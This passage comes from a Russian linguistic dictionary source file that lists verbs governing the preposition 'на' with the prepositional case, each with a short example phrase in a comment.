rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА) rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл) rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл) rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл) rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл) rus_verbs:ОТТОЧИТЬ{}, rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА) rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл) инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл) глагол:НАХОДИТЬСЯ{ вид:несоверш }, прилагательное:находившийся{ вид:несоверш }, прилагательное:находящийся{ вид:несоверш }, деепричастие:находясь{}, rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл) rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА) rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА) rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл) rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА) rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл) rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА) rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА) rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА) rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА) rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА) rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА) rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл) rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА) rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА) rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА) rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА) rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА) rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА) rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл) rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл) rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на) rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к) rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на) глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте) деепричастие:вычитав{}, rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на) rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере rus_verbs:развалиться{}, // Антонио развалился на диване rus_verbs:улечься{}, // Антонио улегся на полу rus_verbs:зарубить{}, // Заруби себе на носу. rus_verbs:ценить{}, // Его ценят на заводе. rus_verbs:вернуться{}, // Отец вернулся на закате. rus_verbs:шить{}, // Вы умеете шить на машинке? rus_verbs:бить{}, // Скот бьют на бойне. rus_verbs:выехать{}, // Мы выехали на рассвете. rus_verbs:валяться{}, // На полу валяется бумага. rus_verbs:разложить{}, // она разложила полотенце на песке rus_verbs:заниматься{}, // я занимаюсь на тренажере rus_verbs:позаниматься{}, rus_verbs:порхать{}, // порхать на лугу rus_verbs:пресекать{}, // пресекать на корню rus_verbs:изъясняться{}, // изъясняться на непонятном языке rus_verbs:развесить{}, // развесить на столбах rus_verbs:обрасти{}, // обрасти на южной части rus_verbs:откладываться{}, // откладываться на стенках артерий rus_verbs:уносить{}, // уносить на носилках rus_verbs:проплыть{}, // проплыть на плоту rus_verbs:подъезжать{}, // подъезжать на повозках rus_verbs:пульсировать{}, // пульсировать на лбу rus_verbs:рассесться{}, // птицы расселись на ветках rus_verbs:застопориться{}, // застопориться на первом пункте rus_verbs:изловить{}, // изловить на окраинах rus_verbs:покататься{}, // покататься на машинках rus_verbs:залопотать{}, // залопотать на неизвестном языке rus_verbs:растягивать{}, // растягивать на станке rus_verbs:поделывать{}, // поделывать на пляже rus_verbs:подстеречь{}, // подстеречь на площадке rus_verbs:проектировать{}, // проектировать на компьютере rus_verbs:притулиться{}, // притулиться на кушетке rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище rus_verbs:пострелять{}, // пострелять на испытательном полигоне rus_verbs:засиживаться{}, // засиживаться на работе rus_verbs:нежиться{}, // нежиться на солнышке rus_verbs:притомиться{}, // притомиться на рабочем месте rus_verbs:поселяться{}, // поселяться на чердаке rus_verbs:потягиваться{}, // потягиваться на земле rus_verbs:отлеживаться{}, // отлеживаться на койке rus_verbs:протаранить{}, // протаранить на танке rus_verbs:гарцевать{}, // гарцевать на коне rus_verbs:облупиться{}, // облупиться на носу rus_verbs:оговорить{}, // оговорить на собеседовании rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте rus_verbs:отпечатать{}, // отпечатать на картоне rus_verbs:сэкономить{}, // сэкономить на мелочах rus_verbs:покатать{}, // покатать на пони rus_verbs:колесить{}, // колесить на старой машине rus_verbs:понастроить{}, // понастроить на участках rus_verbs:поджарить{}, // поджарить на костре rus_verbs:узнаваться{}, // узнаваться на фотографии rus_verbs:отощать{}, // отощать на казенных харчах rus_verbs:редеть{}, // редеть на макушке rus_verbs:оглашать{}, // оглашать на общем собрании rus_verbs:лопотать{}, // лопотать на иврите rus_verbs:пригреть{}, // пригреть на груди rus_verbs:консультироваться{}, // консультироваться на форуме rus_verbs:приноситься{}, // приноситься на одежде rus_verbs:сушиться{}, // сушиться на балконе rus_verbs:наследить{}, // наследить на полу rus_verbs:нагреться{}, // нагреться на солнце rus_verbs:рыбачить{}, // рыбачить на озере rus_verbs:прокатить{}, // прокатить на выборах rus_verbs:запинаться{}, // запинаться на ровном месте rus_verbs:отрубиться{}, // отрубиться на мягкой подушке rus_verbs:заморозить{}, // заморозить на улице rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе rus_verbs:просохнуть{}, // просохнуть на батарее rus_verbs:развозить{}, // развозить на велосипеде rus_verbs:прикорнуть{}, // прикорнуть на диванчике rus_verbs:отпечататься{}, // отпечататься на коже rus_verbs:выявлять{}, // выявлять на таможне rus_verbs:расставлять{}, // расставлять на башнях rus_verbs:прокрутить{}, // прокрутить на пальце rus_verbs:умываться{}, // умываться на улице rus_verbs:пересказывать{}, // пересказывать на страницах романа rus_verbs:удалять{}, // удалять на пуховике rus_verbs:хозяйничать{}, // хозяйничать на складе rus_verbs:оперировать{}, // оперировать на поле боя rus_verbs:поносить{}, // поносить на голове rus_verbs:замурлыкать{}, // замурлыкать на коленях rus_verbs:передвигать{}, // передвигать на тележке rus_verbs:прочертить{}, // прочертить на земле rus_verbs:колдовать{}, // колдовать на кухне rus_verbs:отвозить{}, // отвозить на казенном транспорте rus_verbs:трахать{}, // трахать на природе rus_verbs:мастерить{}, // мастерить на кухне rus_verbs:ремонтировать{}, // ремонтировать на коленке rus_verbs:развезти{}, // развезти на велосипеде rus_verbs:робеть{}, // робеть на сцене инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш }, деепричастие:реализовав{}, деепричастие:реализуя{}, rus_verbs:покаяться{}, // покаяться на смертном одре rus_verbs:специализироваться{}, // специализироваться на тестировании rus_verbs:попрыгать{}, // попрыгать на батуте rus_verbs:переписывать{}, // переписывать на столе rus_verbs:расписывать{}, // расписывать на доске rus_verbs:зажимать{}, // зажимать на запястье rus_verbs:практиковаться{}, // практиковаться на мышах rus_verbs:уединиться{}, // уединиться на чердаке rus_verbs:подохнуть{}, // подохнуть на чужбине rus_verbs:приподниматься{}, // приподниматься на руках rus_verbs:уродиться{}, // уродиться на полях rus_verbs:продолжиться{}, // продолжиться на улице rus_verbs:посапывать{}, // посапывать на диване rus_verbs:ободрать{}, // ободрать на спине rus_verbs:скрючиться{}, // скрючиться на песке rus_verbs:тормознуть{}, // тормознуть на перекрестке rus_verbs:лютовать{}, // лютовать на хуторе rus_verbs:зарегистрировать{}, // зарегистрировать на сайте rus_verbs:переждать{}, // переждать на вершине холма rus_verbs:доминировать{}, // доминировать на территории rus_verbs:публиковать{}, // публиковать на сайте rus_verbs:морщить{}, // морщить на лбу rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном rus_verbs:подрабатывать{}, // подрабатывать на рынке rus_verbs:репетировать{}, // репетировать на заднем дворе rus_verbs:подвернуть{}, // подвернуть на брусчатке rus_verbs:зашелестеть{}, // зашелестеть на ветру rus_verbs:расчесывать{}, // расчесывать на спине rus_verbs:одевать{}, // одевать на рынке rus_verbs:испечь{}, // испечь на углях rus_verbs:сбрить{}, // сбрить на затылке rus_verbs:согреться{}, // согреться на печке rus_verbs:замаячить{}, // замаячить на горизонте rus_verbs:пересчитывать{}, // пересчитывать на пальцах rus_verbs:галдеть{}, // галдеть на крыльце rus_verbs:переплыть{}, // переплыть на плоту rus_verbs:передохнуть{}, // передохнуть на скамейке rus_verbs:прижиться{}, // прижиться на ферме rus_verbs:переправляться{}, // переправляться на плотах rus_verbs:накупить{}, // накупить на блошином рынке rus_verbs:проторчать{}, // проторчать на виду rus_verbs:мокнуть{}, // мокнуть на улице rus_verbs:застукать{}, // застукать на камбузе rus_verbs:завязывать{}, // завязывать на ботинках rus_verbs:повисать{}, // повисать на ветке rus_verbs:подвизаться{}, // подвизаться на государственной службе rus_verbs:кормиться{}, // кормиться на болоте rus_verbs:покурить{}, // покурить на улице rus_verbs:зимовать{}, // зимовать на болотах rus_verbs:застегивать{}, // застегивать на гимнастерке rus_verbs:поигрывать{}, // поигрывать на гитаре rus_verbs:погореть{}, // погореть на махинациях с землей rus_verbs:кувыркаться{}, // кувыркаться на батуте rus_verbs:похрапывать{}, // похрапывать на диване rus_verbs:пригревать{}, // пригревать на груди rus_verbs:завязнуть{}, // завязнуть на болоте rus_verbs:шастать{}, // шастать на втором этаже rus_verbs:заночевать{}, // заночевать на сеновале rus_verbs:отсиживаться{}, // отсиживаться на чердаке rus_verbs:мчать{}, // мчать на байке rus_verbs:сгнить{}, // сгнить на урановых рудниках rus_verbs:тренировать{}, // тренировать на манекенах rus_verbs:повеселиться{}, // повеселиться на празднике rus_verbs:измучиться{}, // измучиться на болоте rus_verbs:увянуть{}, // увянуть на подоконнике rus_verbs:раскрутить{}, // раскрутить на оси rus_verbs:выцвести{}, // выцвести на солнечном свету rus_verbs:изготовлять{}, // изготовлять на коленке rus_verbs:гнездиться{}, // гнездиться на вершине дерева rus_verbs:разогнаться{}, // разогнаться на мотоцикле rus_verbs:излагаться{}, // излагаться на страницах доклада rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге rus_verbs:расчесать{}, // расчесать на макушке rus_verbs:плавиться{}, // плавиться на солнце rus_verbs:редактировать{}, // редактировать на ноутбуке rus_verbs:подскакивать{}, // подскакивать на месте rus_verbs:покупаться{}, // покупаться на рынке rus_verbs:промышлять{}, // промышлять на мелководье rus_verbs:приобретаться{}, // приобретаться на распродажах rus_verbs:наигрывать{}, // наигрывать на банджо rus_verbs:маневрировать{}, // маневрировать на флангах rus_verbs:запечатлеться{}, // запечатлеться на записях камер rus_verbs:укрывать{}, // укрывать на чердаке rus_verbs:подорваться{}, // подорваться на фугасе rus_verbs:закрепиться{}, // закрепиться на занятых позициях rus_verbs:громыхать{}, // громыхать на кухне инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу деепричастие:подвигавшись{}, rus_verbs:добываться{}, // добываться на территории Анголы rus_verbs:приплясывать{}, // приплясывать на сцене rus_verbs:доживать{}, // доживать на больничной койке rus_verbs:отпраздновать{}, // отпраздновать на работе rus_verbs:сгубить{}, // сгубить на корню rus_verbs:схоронить{}, // схоронить на кладбище rus_verbs:тускнеть{}, // тускнеть на солнце rus_verbs:скопить{}, // скопить на счету rus_verbs:помыть{}, // помыть на своем этаже rus_verbs:пороть{}, // пороть на конюшне rus_verbs:наличествовать{}, // наличествовать на складе rus_verbs:нащупывать{}, // нащупывать на полке rus_verbs:змеиться{}, // змеиться на дне rus_verbs:пожелтеть{}, // пожелтеть на солнце rus_verbs:заостриться{}, // заостриться на конце rus_verbs:свезти{}, // свезти на поле rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре rus_verbs:подкрутить{}, // подкрутить на приборной панели rus_verbs:рубиться{}, // рубиться на мечах rus_verbs:сиживать{}, // сиживать на крыльце rus_verbs:тараторить{}, // тараторить на иностранном языке rus_verbs:теплеть{}, // теплеть на сердце rus_verbs:покачаться{}, // покачаться на ветке rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче rus_verbs:развязывать{}, // развязывать на ботинках rus_verbs:подвозить{}, // подвозить на мотороллере rus_verbs:вышивать{}, // вышивать на рубашке rus_verbs:скупать{}, // скупать на открытом рынке rus_verbs:оформлять{}, // оформлять на встрече rus_verbs:распускаться{}, // распускаться на клумбах rus_verbs:прогореть{}, // прогореть на спекуляциях rus_verbs:приползти{}, // приползти на коленях rus_verbs:загореть{}, // загореть на пляже rus_verbs:остудить{}, // остудить на балконе rus_verbs:нарвать{}, // нарвать на поляне rus_verbs:издохнуть{}, // издохнуть на болоте rus_verbs:разгружать{}, // разгружать на дороге rus_verbs:произрастать{}, // произрастать на болотах rus_verbs:разуться{}, // разуться на коврике rus_verbs:сооружать{}, // сооружать на площади rus_verbs:зачитывать{}, // зачитывать на митинге rus_verbs:уместиться{}, // уместиться на ладони rus_verbs:закупить{}, // закупить на рынке rus_verbs:горланить{}, // горланить на улице rus_verbs:экономить{}, // экономить на спичках rus_verbs:исправлять{}, // исправлять на доске rus_verbs:расслабляться{}, // расслабляться на лежаке rus_verbs:скапливаться{}, // скапливаться на крыше rus_verbs:сплетничать{}, // сплетничать на скамеечке rus_verbs:отъезжать{}, // отъезжать на лимузине rus_verbs:отчитывать{}, // отчитывать на собрании rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке rus_verbs:потчевать{}, // потчевать на лаврах rus_verbs:окопаться{}, // окопаться на окраине rus_verbs:загорать{}, // загорать на пляже rus_verbs:обгореть{}, // обгореть на солнце rus_verbs:распознавать{}, // распознавать на фотографии rus_verbs:заплетаться{}, // заплетаться на макушке rus_verbs:перегреться{}, // перегреться на жаре rus_verbs:подметать{}, // подметать на крыльце rus_verbs:нарисоваться{}, // нарисоваться на горизонте rus_verbs:проскакивать{}, // проскакивать на экране rus_verbs:попивать{}, // попивать на балконе чай rus_verbs:отплывать{}, // отплывать на лодке rus_verbs:чирикать{}, // чирикать на ветках rus_verbs:скупить{}, // скупить на оптовых базах rus_verbs:наколоть{}, // наколоть на коже картинку rus_verbs:созревать{}, // созревать на ветке rus_verbs:проколоться{}, // проколоться на мелочи rus_verbs:крутнуться{}, // крутнуться на заднем колесе rus_verbs:переночевать{}, // переночевать на постоялом дворе rus_verbs:концентрироваться{}, // концентрироваться на фильтре rus_verbs:одичать{}, // одичать на хуторе rus_verbs:спасаться{}, // спасаются на лодке rus_verbs:доказываться{}, // доказываться на страницах книги rus_verbs:познаваться{}, // познаваться на ринге rus_verbs:замыкаться{}, // замыкаться на металлическом предмете rus_verbs:заприметить{}, // заприметить на пригорке rus_verbs:продержать{}, // продержать на морозе rus_verbs:форсировать{}, // форсировать на плотах rus_verbs:сохнуть{}, // сохнуть на солнце rus_verbs:выявить{}, // выявить на поверхности rus_verbs:заседать{}, // заседать на кафедре rus_verbs:расплачиваться{}, // расплачиваться на выходе rus_verbs:светлеть{}, // светлеть на горизонте rus_verbs:залепетать{}, // залепетать на незнакомом языке rus_verbs:подсчитывать{}, // подсчитывать на пальцах rus_verbs:зарыть{}, // зарыть на пустыре rus_verbs:сформироваться{}, // сформироваться на месте rus_verbs:развертываться{}, // развертываться на площадке rus_verbs:набивать{}, // набивать на манекенах rus_verbs:замерзать{}, // замерзать на ветру rus_verbs:схватывать{}, // схватывать на лету rus_verbs:перевестись{}, // перевестись на Руси rus_verbs:смешивать{}, // смешивать на блюдце rus_verbs:прождать{}, // прождать на входе rus_verbs:мерзнуть{}, // мерзнуть на ветру rus_verbs:растирать{}, // растирать на коже rus_verbs:переспать{}, // переспал на сеновале rus_verbs:рассекать{}, // рассекать на скутере rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне rus_verbs:дрыхнуть{}, // дрыхнуть на диване rus_verbs:распять{}, // распять на кресте rus_verbs:запечься{}, // запечься на костре rus_verbs:застилать{}, // застилать на балконе rus_verbs:сыскаться{}, // сыскаться на огороде rus_verbs:разориться{}, // разориться на продаже спичек rus_verbs:переделать{}, // переделать на станке rus_verbs:разъяснять{}, // разъяснять на страницах газеты rus_verbs:поседеть{}, // поседеть на висках rus_verbs:протащить{}, // протащить на спине rus_verbs:осуществиться{}, // осуществиться на деле rus_verbs:селиться{}, // селиться на окраине rus_verbs:оплачивать{}, // оплачивать на первой кассе rus_verbs:переворачивать{}, // переворачивать на сковородке rus_verbs:упражняться{}, // упражняться на батуте rus_verbs:испробовать{}, // испробовать на себе rus_verbs:разгладиться{}, // разгладиться на спине rus_verbs:рисоваться{}, // рисоваться на стекле rus_verbs:продрогнуть{}, // продрогнуть на морозе rus_verbs:пометить{}, // пометить на доске rus_verbs:приютить{}, // приютить на чердаке rus_verbs:избирать{}, // избирать на первых свободных выборах rus_verbs:затеваться{}, // затеваться на матче rus_verbs:уплывать{}, // уплывать на катере rus_verbs:замерцать{}, // замерцать на рекламном щите rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне rus_verbs:запираться{}, // запираться на чердаке rus_verbs:загубить{}, // загубить на корню rus_verbs:развеяться{}, // развеяться на природе rus_verbs:съезжаться{}, // съезжаться на лимузинах rus_verbs:потанцевать{}, // потанцевать на могиле rus_verbs:дохнуть{}, // дохнуть на солнце rus_verbs:припарковаться{}, // припарковаться на газоне rus_verbs:отхватить{}, // отхватить на распродаже rus_verbs:остывать{}, // остывать на улице rus_verbs:переваривать{}, // переваривать на высокой ветке rus_verbs:подвесить{}, // подвесить на веревке rus_verbs:хвастать{}, // хвастать на работе rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая rus_verbs:разлечься{}, // разлечься на полу rus_verbs:очертить{}, // очертить на полу rus_verbs:председательствовать{}, // председательствовать на собрании rus_verbs:сконфузиться{}, // сконфузиться на сцене rus_verbs:выявляться{}, // выявляться на ринге rus_verbs:крутануться{}, // крутануться на заднем колесе rus_verbs:караулить{}, // караулить на входе rus_verbs:перечислять{}, // перечислять на пальцах rus_verbs:обрабатывать{}, // обрабатывать на станке rus_verbs:настигать{}, // настигать на берегу rus_verbs:разгуливать{}, // разгуливать на берегу rus_verbs:насиловать{}, // насиловать на пляже rus_verbs:поредеть{}, // поредеть на макушке rus_verbs:учитывать{}, // учитывать на балансе rus_verbs:зарождаться{}, // зарождаться на большой глубине rus_verbs:распространять{}, // распространять на сайтах rus_verbs:пировать{}, // пировать на вершине холма rus_verbs:начертать{}, // начертать на стене rus_verbs:расцветать{}, // расцветать на подоконнике rus_verbs:умнеть{}, // умнеть на глазах rus_verbs:царствовать{}, // царствовать на окраине rus_verbs:закрутиться{}, // закрутиться на работе rus_verbs:отработать{}, // отработать на шахте rus_verbs:полечь{}, // полечь на поле брани rus_verbs:щебетать{}, // щебетать на ветке rus_verbs:подчеркиваться{}, // подчеркиваться на сайте rus_verbs:посеять{}, // посеять на другом поле rus_verbs:замечаться{}, // замечаться на пастбище rus_verbs:просчитать{}, // просчитать на пальцах rus_verbs:голосовать{}, // голосовать на трассе rus_verbs:маяться{}, // маяться на пляже rus_verbs:сколотить{}, // сколотить на службе rus_verbs:обретаться{}, // обретаться на чужбине rus_verbs:обливаться{}, // обливаться на улице rus_verbs:катать{}, // катать на лошадке rus_verbs:припрятать{}, // припрятать на теле rus_verbs:запаниковать{}, // запаниковать на экзамене инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете деепричастие:слетав{}, rus_verbs:срубить{}, // срубить денег на спекуляциях rus_verbs:зажигаться{}, // зажигаться на улице rus_verbs:жарить{}, // жарить на углях rus_verbs:накапливаться{}, // накапливаться на счету rus_verbs:распуститься{}, // распуститься на грядке rus_verbs:рассаживаться{}, // рассаживаться на местах rus_verbs:странствовать{}, // странствовать на лошади rus_verbs:осматриваться{}, // осматриваться на месте rus_verbs:разворачивать{}, // разворачивать на завоеванной территории rus_verbs:согревать{}, // согревать на вершине горы rus_verbs:заскучать{}, // заскучать на вахте rus_verbs:перекусить{}, // перекусить на бегу rus_verbs:приплыть{}, // приплыть на тримаране rus_verbs:зажигать{}, // зажигать на танцах rus_verbs:закопать{}, // закопать на поляне rus_verbs:стирать{}, // стирать на берегу rus_verbs:подстерегать{}, // подстерегать на подходе rus_verbs:погулять{}, // погулять на свадьбе rus_verbs:огласить{}, // огласить на митинге rus_verbs:разбогатеть{}, // разбогатеть на прииске rus_verbs:грохотать{}, // грохотать на чердаке rus_verbs:расположить{}, // расположить на границе rus_verbs:реализоваться{}, // реализоваться на новой работе rus_verbs:застывать{}, // застывать на морозе rus_verbs:запечатлеть{}, // запечатлеть на пленке rus_verbs:тренироваться{}, // тренироваться на манекене rus_verbs:поспорить{}, // поспорить на совещании rus_verbs:затягивать{}, // затягивать на поясе rus_verbs:зиждиться{}, // зиждиться на твердой основе rus_verbs:построиться{}, // построиться на песке rus_verbs:надрываться{}, // надрываться на работе rus_verbs:закипать{}, // закипать на плите rus_verbs:затонуть{}, // затонуть на мелководье rus_verbs:побыть{}, // побыть на фазенде rus_verbs:сгорать{}, // сгорать на солнце инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице деепричастие:пописав{ aux stress="поп^исав" }, rus_verbs:подраться{}, // подраться на сцене rus_verbs:заправить{}, // заправить на последней заправке rus_verbs:обозначаться{}, // обозначаться на карте rus_verbs:просиживать{}, // просиживать на берегу rus_verbs:начертить{}, // начертить на листке rus_verbs:тормозить{}, // тормозить на льду rus_verbs:затевать{}, // затевать на космической базе rus_verbs:задерживать{}, // задерживать на таможне rus_verbs:прилетать{}, // прилетать на частном самолете rus_verbs:полулежать{}, // полулежать на травке rus_verbs:ерзать{}, // ерзать на табуретке rus_verbs:покопаться{}, // покопаться на складе rus_verbs:подвезти{}, // подвезти на машине rus_verbs:полежать{}, // полежать на водном матрасе rus_verbs:стыть{}, // стыть на улице rus_verbs:стынуть{}, // стынуть на улице rus_verbs:скреститься{}, // скреститься на груди rus_verbs:припарковать{}, // припарковать на стоянке rus_verbs:здороваться{}, // здороваться на кафедре rus_verbs:нацарапать{}, // нацарапать на парте rus_verbs:откопать{}, // откопать на поляне rus_verbs:смастерить{}, // смастерить на коленках rus_verbs:довезти{}, // довезти на машине rus_verbs:избивать{}, // избивать на крыше rus_verbs:сварить{}, // сварить на костре rus_verbs:истребить{}, // истребить на корню rus_verbs:раскопать{}, // раскопать на болоте rus_verbs:попить{}, // попить на кухне rus_verbs:заправлять{}, // заправлять на базе rus_verbs:кушать{}, // кушать на кухне rus_verbs:замолкать{}, // замолкать на половине фразы rus_verbs:измеряться{}, // измеряться на весах rus_verbs:сбываться{}, // сбываться на самом деле rus_verbs:изображаться{}, // изображается на сцене rus_verbs:фиксировать{}, // фиксировать на данной высоте rus_verbs:ослаблять{}, // ослаблять на шее rus_verbs:зреть{}, // зреть на грядке rus_verbs:зеленеть{}, // зеленеть на грядке rus_verbs:критиковать{}, // критиковать на страницах газеты rus_verbs:облететь{}, // облететь на самолете rus_verbs:заразиться{}, // заразиться на работе rus_verbs:рассеять{}, // рассеять на территории rus_verbs:печься{}, // печься на костре rus_verbs:поспать{}, // поспать на земле rus_verbs:сплетаться{}, // сплетаться на макушке rus_verbs:удерживаться{}, // удерживаться на расстоянии rus_verbs:помешаться{}, // помешаться на чистоте rus_verbs:ликвидировать{}, // ликвидировать на полигоне rus_verbs:проваляться{}, // проваляться на диване rus_verbs:лечиться{}, // лечиться на дому rus_verbs:обработать{}, // обработать на станке rus_verbs:защелкнуть{}, // защелкнуть на руках rus_verbs:разносить{}, // разносить на одежде rus_verbs:чесать{}, // чесать на груди rus_verbs:наладить{}, // наладить на конвейере выпуск rus_verbs:отряхнуться{}, // отряхнуться на улице rus_verbs:разыгрываться{}, // разыгрываться на скачках rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях rus_verbs:греться{}, // греться на вокзале rus_verbs:засидеться{}, // засидеться на одном месте rus_verbs:материализоваться{}, // материализоваться на границе rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин rus_verbs:перевозить{}, // перевозить на платформе rus_verbs:поиграть{}, // поиграть на скрипке rus_verbs:потоптаться{}, // потоптаться на одном месте rus_verbs:переправиться{}, // переправиться на плоту rus_verbs:забрезжить{}, // забрезжить на горизонте rus_verbs:завывать{}, // завывать на опушке rus_verbs:заваривать{}, // заваривать на кухоньке rus_verbs:перемещаться{}, // перемещаться на спасательном плоту инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке rus_verbs:праздновать{}, // праздновать на улицах rus_verbs:обучить{}, // обучить на корте rus_verbs:орудовать{}, // орудовать на складе rus_verbs:подрасти{}, // подрасти на глядке rus_verbs:шелестеть{}, // шелестеть на ветру rus_verbs:раздеваться{}, // раздеваться на публике rus_verbs:пообедать{}, // пообедать на газоне rus_verbs:жрать{}, // жрать на помойке rus_verbs:исполняться{}, // исполняться на флейте rus_verbs:похолодать{}, // похолодать на улице rus_verbs:гнить{}, // гнить на каторге rus_verbs:прослушать{}, // прослушать на концерте rus_verbs:совещаться{}, // совещаться на заседании rus_verbs:покачивать{}, // покачивать на волнах rus_verbs:отсидеть{}, // отсидеть на гаупвахте rus_verbs:формировать{}, // формировать на секретной базе rus_verbs:захрапеть{}, // захрапеть на кровати rus_verbs:объехать{}, // объехать на попутке rus_verbs:поселить{}, // поселить на верхних этажах rus_verbs:заворочаться{}, // заворочаться на сене rus_verbs:напрятать{}, // напрятать на теле rus_verbs:очухаться{}, // очухаться на земле rus_verbs:полистать{}, // полистать на досуге rus_verbs:завертеть{}, // завертеть на шесте rus_verbs:печатать{}, // печатать на ноуте rus_verbs:отыскаться{}, // отыскаться на складе rus_verbs:зафиксировать{}, // зафиксировать на пленке rus_verbs:расстилаться{}, // расстилаться на столе rus_verbs:заместить{}, // заместить на посту rus_verbs:угасать{}, // угасать на неуправляемом корабле rus_verbs:сразить{}, // сразить на ринге rus_verbs:расплываться{}, // расплываться на жаре rus_verbs:сосчитать{}, // сосчитать на пальцах rus_verbs:сгуститься{}, // сгуститься на небольшой высоте rus_verbs:цитировать{}, // цитировать на плите rus_verbs:ориентироваться{}, // ориентироваться на местности rus_verbs:расширить{}, // расширить на другом конце rus_verbs:обтереть{}, // обтереть на стоянке rus_verbs:подстрелить{}, // подстрелить на охоте rus_verbs:растереть{}, // растереть на твердой поверхности rus_verbs:подавлять{}, // подавлять на первом этапе rus_verbs:смешиваться{}, // смешиваться на поверхности // инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте // 